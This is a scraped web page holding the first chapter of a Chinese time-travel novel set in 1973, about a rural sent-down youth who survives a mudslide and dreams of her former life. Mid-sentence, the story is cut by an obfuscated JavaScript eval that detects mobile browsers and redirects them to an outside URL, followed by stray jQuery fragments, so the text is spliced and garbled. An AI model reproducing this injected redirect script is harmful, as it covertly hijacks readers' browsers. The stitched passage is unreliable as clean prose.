默认冷灰
24号文字
方正启体

1. 第 1 章

作者:半疏本书字数:K更新时间:
    1973年的初夏,金灿灿的麦穗在晚风中传来阵阵“沙沙”声,脸上火烧烧,身上汗涔涔的李南书从麦地里直了下身,腰间的刺痛,让她眼前一阵发黑。


    下乡五年了,每到抢收的时候,她都觉得是场磨难。这么一刻,她甚至能够理解苏清溪,为了回城的名额,可以不顾暑热,连着几天在公社和县城两头跑。


    她刚缓口气,就听队长吆喝道:“现在凉快点,咱们再加把劲,把这块麦地给收完!”


    得了,收工的时间又要往后拖。


    旁边新来的吕晓蕙小声嘀咕道:“什么时候才能歇,天麻麻亮就起来了,午饭都是在田埂上吃的,眼瞅着太阳都落山了……”


    吕晓蕙才十六岁,初中刚毕业,连日的抢收让她到了崩溃的边缘,声音里都带了点哭腔。


    李南书看到她,就想到了十六岁的自己,背着一个包裹从北省江城来到皖南的小山村,话都听不懂,真正的两眼一抹黑,至今想起来,都不知道自己当时哪来的勇气?


    不由出声安慰道:“晓蕙,忙完明天就能休息了,咱们再坚持一会。”


    见她情绪不是很好,接着道:“晓蕙,下乡就是来建设,来锻炼的,不要想着苦不苦的,不然自己心里先苦了,做什么都觉得苦。”


    吕晓蕙望着她道:“南书姐,这怎么还要打心理战?”


    老大姐徐永兰搭话道:“晓蕙,过了农忙,地里就闲了,再说,你这才哪到哪?说出来你可能都不信,前两年播种的时候,男知青被抽调到县里修水坝了,我和南书还得犁田呢。”


    吕晓蕙苦着脸,不敢想象自己像牛一样套着犁在水田里的场景,微张着嘴,有些干巴地道:“这……这我想都不敢想。”


    徐永兰失笑,“是吧,南书当时也苦着张脸,后面发现自己能干得下来,可得意了。”也是从那天开始,她发现这个姑娘和别的知青不一样,身上有股劲。


    这个姑娘,也确实将北山村变得不一样。但她私心里觉得,北山大队留不住南书,这样敢想、肯干,又有志气的姑娘应该往更广阔的天地去。


    想到今年工农兵大学的名额,徐永兰心里又沉了一下,大队长说这次只有一个名额,这个名额大概率是南书的,她们这些人,还不知道等到哪一年?


    吕晓蕙有好些问题想问,徐永兰反倒不说了,“赶快收麦子,一会队长得来骂人了,回头有空再聊。”


    山脚下的风,忽而又大了些,阴云不知什么时候聚拢了过来,豆大的雨珠“哒哒”地滴在人的脸上、头发里,可谁也顾不得黏腻的头发,湿哒哒地粘在后背上的衣服,都忙着抢收。


    前头忽然传来一阵争吵声,好像是苏清溪的声音,说要请假什么的。


    不一会儿,就听队长暴躁地喊道:“苏清溪,你别唬人了,什么腿疼、肚疼,这话说出来,你自己信吗?这个月你请了半个月的假,就你有事,就你想回城?怎么,都是城里来的知青,就你淋不了雨,就你有钱买粮食?今个你要是不跟大伙一块干完,明个我就把你名字报到公社知青管理点去,你和他们说说你的腿疼、肚疼去吧!”


    苏清溪偃旗息鼓了,临末还甩了一句话:“骆一勤,你别说的这么大公无私,你这么阻拦我去县里,还不是为了李南书?你怕我抢了那个名额,这个名额是写了她名字吗?怎么,你当人家能记得你的好?人家志向远大,还不定要飞到哪里去呢!”说到最后两句的时候,她扬高了声调,就怕谁没听见一样。


    李南书挑了下眉,握着手里的镰刀,有些烦躁地朝前头喊了一声:“苏清溪,你再叨叨我!”


    前头彻底没了声音。


    徐永兰不由失笑,“南书,整个北山村,也就你治得了她。”又道:“哎,南书,我这边割完了,你那边要不要帮忙?”


    “不用,我也快了,兰姐,你先挑回去吧!”


    李南书准备走的时候,发现吕晓蕙正手忙脚乱地捆麦子,那麦把和麻绳却像是不听她使唤似的,怎么都扎不到一块去,小姑娘急得眼泪都掉下来了,李南书叹了口气,“晓蕙,你挑我的走!”


    吕晓蕙吸着鼻子,轻声道谢,挑着李南书的担子走了。


    李南书却望着手上的麻绳,有些拧眉,晓蕙这绳子搓得也太细了点,现在下着雨,她也不好再搓,只得将就用着,想着到村口应该没问题。


    她麻溜地捆着麦把,压根没注意到穿着白色衬衫、黑色裤子的姑娘,从她身旁走过的时候,眼神颇为复杂地看了她一下。


    隔了一会,天空忽然一片昏暗,狂风大作,雨珠噼里啪啦地砸在地面上,很快就是一片泥泞,李南书深一脚浅一脚地挑着担子走到了陡坡上,不知是不是下雨的缘故,她总觉得胸口闷闷的,有些喘不过来气。


    “圪嘣”一声,前面的麻绳断了,李南书并不觉得意外,只是没想到,断的这么快。


    她侧身让了后面的知青先走,蹲下来重新搓麻绳,忽然一个响雷在天空上方炸开,大雨滂沱中,她看见不远处的雨水与泥流混在一起,裹着草块,随坡而下,李南书心里也不由“咯嘣”一下,雨太大了。


    顷刻间,她扔掉了手里的麻绳,拼命地往村口跑。


    雨水砸的眼睛一片模糊,裹着雨的风从她耳边呼呼而过,等她跑过陡坡,跨过山沟,跌跌撞撞地到村口的时候,天已经完全黑了下来,山脚下传来一阵“轰隆隆”的声音,不知是打雷,还是什么。


    李南书浑身发抖,不敢回头,撑着一口气,跑到了知青点,知青点离村口不远,阔阔方方的一个四合院样式,院子中间还有口井,旁边有个大缸,早已接满雨水,只听得雨珠砸在水面的“嗒嗒嗒”声。


    这一块原来是土地庙,后来知青下乡,村里让木匠把门窗重新修整了下,又搬来几块木板当床,就成了知青点。


    此时房檐下站着好几个人,神色都有些焦急,看着她回来,一个个都松了口气。


    徐永兰拉住她的手,“南书,你总算回来了,吓死我们了,大家刚才听到声音,说可能发生了泥石流,你今天怎么这么慢?咦,南书,你的鞋呢?”


    李南书低头一看,才发现自己跑掉了一只鞋,闷闷地道:“麻绳断了,麦子散了,我本来想搓下,忽然打雷了。”


    徐永兰还没开口,旁边的骆一勤先骂道:“断就断了,搓什么搓,一担麦子还能比命重要吗?”他说着说着,就红了眼眶,踢了一脚廊下的簸箕。


    大家都有些不明所以地看着他,骆一勤没再说话,转身回了房。


    徐永兰轻声道:“南书,队长也是关心你,今天被吓狠了吧?快去洗个热水澡,琼玉刚烧好的,你先去。”


    李南书确实被吓到了,微热的水洒在身上,才稍微回了神,她第一次这么近距离地接触到死神。如果她真的死了,妈妈估计会哭死,当初她要下乡,妈妈


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16117848|179992||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    就不同意,和她吵了好一顿,闹着要和爸爸离婚。


    哥姐几个站在门口,都不敢出声。


    李南书想到这里,不由叹气,她可不能死,她们家的和谐,全靠她一个人两边维系,她要是死了,她哥姐也没妈了。


    从澡房里出来,李南书问兰姐道:“大家都回来了吧?”


    徐永兰摇摇头,“知青点的是回来了,村民那边就不清楚了。”


    不料,当天夜里,大队长就来敲门,让男知青帮着去找人,说有两个村民没回家。


    这一夜,许多人都没睡着,都在担心没回村的人。


    后半夜,李南书才昏沉沉地睡去,她梦见自己正在爬坡,路两边有高高的梧桐树,枝叶遮天蔽日一般,只有几缕阳光透过缝隙洒下来,她在回宿舍的路上,这好像是她的上一世,她也叫“南书”,大学即将毕业,通过了“三支一扶”的考试,等拿了毕业证就去报道。


    那天,她回宿舍翻开了一本年代文《七零之破茧飞行》,主要讲述女主苏清溪在大学期间接触了经济贸易,后面迎着改革开放的春风,办杂志、开物流公司、创办红酒网站,成为一代商业巨鄂的故事,混杂着各类复杂的商战、情感纠葛,以及打脸情节。


    这是一本爽文,她却看得心生郁结。为书里一个个凋零的边缘反派,他们看似不起眼的人生,却是在为妹妹小书讨一个公道。


    小书曾和女主一起在乡下当知青,因为一场意外而遇难,而女主拿到了工农兵大学的名额去申城读大学。


    番外里,男二还和女主感慨,幸好这个小书死的早,让这家兄妹互生嫌隙和怨怼,以致老死不相往来,不然他们未必有赢面。


    看到这里的时候,和女配同名的她忍不住哭了一场,她想,如果小书知道,是自己的死,让兄姐反目成仇,甚而沦为女主向上爬的垫脚石,是不是都心疼得要从墓地里爬出来?


    小时候,每当她在养父母家挨骂、挨打,还要忍着眼泪的时候,她都在想,为什么她不能有一个正常的家,世界上这么多人,为什么就她没有爸妈,没有兄弟姐妹?要像个困兽一样,在这个狭窄的房子里挣扎?


    谁心情不好,都可以给她一脚,说错一句话,打碎一只碗,都可以是她的末日。


    至今想起那个家,她还是觉得后背发疼,养父把她踹翻在地的那一脚,让她做了很久的噩梦,眼泪不觉就模糊了眼睛。


    她想,小书有那么好的哥哥姐姐,刻薄的语言肯定进不了她的耳,凶恶的拳头也落不到她的身,她肯定也不用在冬日的寒风里去河边洗衣服,也不会因为打碎一只碗而惶惶不可终日,更不会在巷子里被人掐着脖子恫吓。


    如果小书没有在一个雨天滑进湖里,她会不会在书里的世界里,过着自己想也不敢想、梦也不敢梦的人生,温馨、宁静、平和,又灿烂的一生?


    不久以后,她去乡下做扶贫工作,雨天路滑,连人带车翻到了湖里,死之前她想起来,小书好像也是这么死的。意识最后消失之前,她许了愿:


    如果有下辈子,她可不可以过小书那样的人生?有爱她的家人,温暖的童年,一个可以避风雨的港湾?


    再睁眼,她成了一个小婴儿,她的小床边围着四个大小不一的萝卜头,他们争先恐后地给她取名字,最后漂亮的妈妈选了“南书”这个名字。


    梦里的李南书,有些恍惚地想,她的愿望好像成真了?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)